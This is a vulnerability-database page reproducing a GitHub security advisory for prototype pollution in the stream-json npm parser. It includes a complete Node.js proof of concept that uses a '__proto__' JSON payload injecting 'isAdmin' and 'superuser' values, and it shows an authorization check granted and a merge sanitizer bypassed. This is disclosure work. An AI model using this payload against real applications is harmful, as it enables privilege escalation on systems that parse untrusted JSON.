GHSA-MJW6-4JJ6-33HC
Vulnerability from github – Published: 2026-10-05 22:49 – Updated: 2026-10-05 22:49Summary
A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.
Details
The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.
PoC
Run:
node poc-stream-json-proto-injection.mjs
Full proof-of-concept source (poc-stream-json-proto-injection.mjs):
// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
// `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
// ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';
const sv = (input, P = parser) => new Promise((res, rej) => {
const vals = [];
Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
.on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
const out = {};
Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
.on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});
let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(` PASS ${name}`); } else { fail++; console.log(` FAIL ${name}`); } };
const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];
console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');
console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');
check('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));
check('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);
check('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);
console.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');
check('proto is attacker Array (av[0]=="isAdmin", av[1]=="role")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role');
check('legit data lands at attacker-indexed position (av[2]=="bob", length 3)', arrProto[2] === 'bob' && arrProto.length === 3);
console.log('== D. FAIL-CLOSED CONTROLS ==');
check('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1);
check('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined);
check('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined);
console.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');
const authorize = o => o.isAdmin === true && o.role === 'superuser';
check('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);
check('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);
const target = { theme: 'light' };
for (const k in sv1) target[k] = sv1[k]; // typical naive/hardened merge (for-in)
check('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',
Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true);
const t2 = { theme: 'light' };
for (const k in baseline) t2[k] = baseline[k]; // JSON.parse twin stays clean
check('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));
console.log(`\nRESULT: ${pass} PASS / ${fail} FAIL`);
process.exit(fail ? 1 : 0);
Observed output (verbatim, Node 24.15.0, Windows):
RESULT: 21 PASS / 0 FAIL
Impact
Prototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists.
Maintainer note on scope
The attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global Object.prototype); "__proto__": null additionally strips Object.prototype from the parsed object, so ordinary consumer code calling hasOwnProperty() throws. Assembler and FlexAssembler now create an own data property for a __proto__ key, exactly as JSON.parse does.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "stream-json"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-104183"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:49:19Z",
"nvd_published_at": "2026-10-01T21:17:19Z",
"severity": "MODERATE"
},
"details": "### Summary\nA prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object\u0027s prototype.\n\n### Details\nThe streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object\u0027s prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.\n\n### PoC\n\nRun:\n```bash\nnode poc-stream-json-proto-injection.mjs\n```\n\nFull proof-of-concept source (poc-stream-json-proto-injection.mjs):\n```js\n// stream-json v3.5.0 (npm latest) \u2014 local [[Prototype]] replacement via `__proto__` keys\n// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)\n// Root cause: Assembler builds every object as a plain `Object` and writes\n// `this.current[this.key] = value` (src/core/assembler.js:160,180 \u2014 plain assignment,\n// ToPropertyKey \u2192 inherited Object.prototype __proto__ setter fires)\n// Spec baseline: JSON.parse (CreateDataProperty) \u2192 own data property, no prototype change\n// Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)\nimport { parser } from \u0027stream-json\u0027;\nimport jsoncParser from \u0027stream-json/jsonc/Parser.js\u0027;\nimport { streamValues } from \u0027stream-json/streamers/stream-values.js\u0027;\nimport { streamObject } from \u0027stream-json/streamers/stream-object.js\u0027;\nimport { Readable } from \u0027node:stream\u0027;\n\nconst sv = (input, P = parser) =\u003e new Promise((res, rej) =\u003e {\n const vals = [];\n Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())\n .on(\u0027data\u0027, d =\u003e vals.push(d.value)).on(\u0027end\u0027, () =\u003e res(vals)).on(\u0027error\u0027, rej);\n});\nconst so = (input) =\u003e new Promise((res, rej) =\u003e {\n const out = {};\n Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())\n .on(\u0027data\u0027, d =\u003e { out[d.key] = d.value; }).on(\u0027end\u0027, () =\u003e res(out)).on(\u0027error\u0027, rej);\n});\n\nlet pass = 0, fail = 0;\nconst check = (name, cond) =\u003e { if (cond) { pass++; console.log(` PASS ${name}`); } else { fail++; console.log(` FAIL ${name}`); } };\n\nconst INPUT = \u0027{\"__proto__\":{\"isAdmin\":true,\"role\":\"superuser\"},\"name\":\"bob\",\"age\":30}\u0027;\nconst baseline = JSON.parse(INPUT);\nconst sv1 = (await sv(INPUT))[0];\nconst so1 = await so(INPUT);\nconst jc1 = (await sv(INPUT, jsoncParser))[0];\nconst nested = (await sv(\u0027{\"user\":{\"__proto__\":{\"isAdmin\":true},\"name\":\"alice\"}}\u0027))[0].user;\nconst arrProto = (await sv(\u0027{\"__proto__\":[\"isAdmin\",\"role\"],\"name\":\"bob\"}\u0027))[0];\nconst prim = (await sv(\u0027{\"__proto__\":\"x\",\"name\":\"bob\"}\u0027))[0];\nconst ctor = (await sv(\u0027{\"constructor\":{\"prototype\":{\"polluted\":1}},\"name\":\"bob\"}\u0027))[0];\n\nconsole.log(\u0027== A. CORE VECTOR: __proto__ key \u2192 parsed object [[Prototype]] replaced (read-through injection) ==\u0027);\ncheck(\u0027StreamValues: Object.keys hides __proto__/isAdmin ([\"name\",\"age\"])\u0027, JSON.stringify(Object.keys(sv1)) === \u0027[\"name\",\"age\"]\u0027);\ncheck(\u0027StreamValues: JSON.stringify hides injected props ({\"name\":\"bob\",\"age\":30})\u0027, JSON.stringify(sv1) === \u0027{\"name\":\"bob\",\"age\":30}\u0027);\ncheck(\u0027StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)\u0027, !Object.prototype.hasOwnProperty.call(sv1, \u0027isAdmin\u0027));\ncheck(\u0027StreamValues: obj.isAdmin === true (INHERITED read-through)\u0027, sv1.isAdmin === true);\ncheck(\u0027StreamValues: obj.role === \"superuser\"\u0027, sv1.role === \u0027superuser\u0027);\ncheck(\u0027StreamValues: [[Prototype]] is NON-plain\u0027, Object.getPrototypeOf(sv1) !== Object.prototype);\ncheck(\u0027StreamObject: same read-through (obj.isAdmin === true)\u0027, so1.isAdmin === true \u0026\u0026 Object.keys(so1).length === 2);\ncheck(\u0027jsonc parser (comments variant): same read-through\u0027, jc1.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(jc1)) === \u0027[\"name\",\"age\"]\u0027);\ncheck(\u0027NESTED: user.isAdmin === true, own keys [\"name\"]\u0027, nested.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(nested)) === \u0027[\"name\"]\u0027);\n\nconsole.log(\u0027== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==\u0027);\ncheck(\u0027JSON.parse: own __proto__ key visible\u0027, Object.keys(baseline).includes(\u0027__proto__\u0027));\ncheck(\u0027JSON.parse: isAdmin undefined (no read-through)\u0027, baseline.isAdmin === undefined);\ncheck(\u0027JSON.parse: [[Prototype]] stays plain\u0027, Object.getPrototypeOf(baseline) === Object.prototype);\n\nconsole.log(\u0027== C. VARIANT: array-valued __proto__ \u2192 parsed object becomes array-like ==\u0027);\ncheck(\u0027proto is attacker Array (av[0]==\"isAdmin\", av[1]==\"role\")\u0027, arrProto[0] === \u0027isAdmin\u0027 \u0026\u0026 arrProto[1] === \u0027role\u0027);\ncheck(\u0027legit data lands at attacker-indexed position (av[2]==\"bob\", length 3)\u0027, arrProto[2] === \u0027bob\u0027 \u0026\u0026 arrProto.length === 3);\n\nconsole.log(\u0027== D. FAIL-CLOSED CONTROLS ==\u0027);\ncheck(\u0027primitive __proto__ value: no-op, plain proto (spec semantics)\u0027, Object.getPrototypeOf(prim) === Object.prototype \u0026\u0026 Object.keys(prim).length === 1);\ncheck(\u0027constructor key: harmless own prop\u0027, Object.prototype.hasOwnProperty.call(ctor, \u0027constructor\u0027) \u0026\u0026 ({}).polluted === undefined);\ncheck(\u0027NO GLOBAL Object.prototype pollution\u0027, ({}).polluted === undefined \u0026\u0026 ({}).isAdmin === undefined);\n\nconsole.log(\u0027== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==\u0027);\nconst authorize = o =\u003e o.isAdmin === true \u0026\u0026 o.role === \u0027superuser\u0027;\ncheck(\u0027authorize(stream-json obj) === true (GRANT)\u0027, authorize(sv1) === true);\ncheck(\u0027authorize(JSON.parse twin) === false (DENY \u2014 control)\u0027, authorize(baseline) === false);\nconst target = { theme: \u0027light\u0027 };\nfor (const k in sv1) target[k] = sv1[k]; // typical naive/hardened merge (for-in)\ncheck(\u0027merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)\u0027,\n Object.prototype.hasOwnProperty.call(target, \u0027isAdmin\u0027) \u0026\u0026 target.isAdmin === true);\nconst t2 = { theme: \u0027light\u0027 };\nfor (const k in baseline) t2[k] = baseline[k]; // JSON.parse twin stays clean\ncheck(\u0027merge of JSON.parse twin has NO isAdmin (control)\u0027, !Object.prototype.hasOwnProperty.call(t2, \u0027isAdmin\u0027));\n\nconsole.log(`\\nRESULT: ${pass} PASS / ${fail} FAIL`);\nprocess.exit(fail ? 1 : 0);\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\nRESULT: 21 PASS / 0 FAIL\n```\n\n### Impact\nPrototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json \u003c= 3.5.0; no patched version exists.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local \u2014 stream-json\u0027s documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object\u0027s prototype was replaced (never the global `Object.prototype`); `\"__proto__\": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does.\n\n---",
"id": "GHSA-mjw6-4jj6-33hc",
"modified": "2026-10-05T22:49:19Z",
"published": "2026-10-05T22:49:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104183"
},
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358"
},
{
"type": "PACKAGE",
"url": "https://github.com/uhop/stream-json"
},
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/releases/tag/3.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.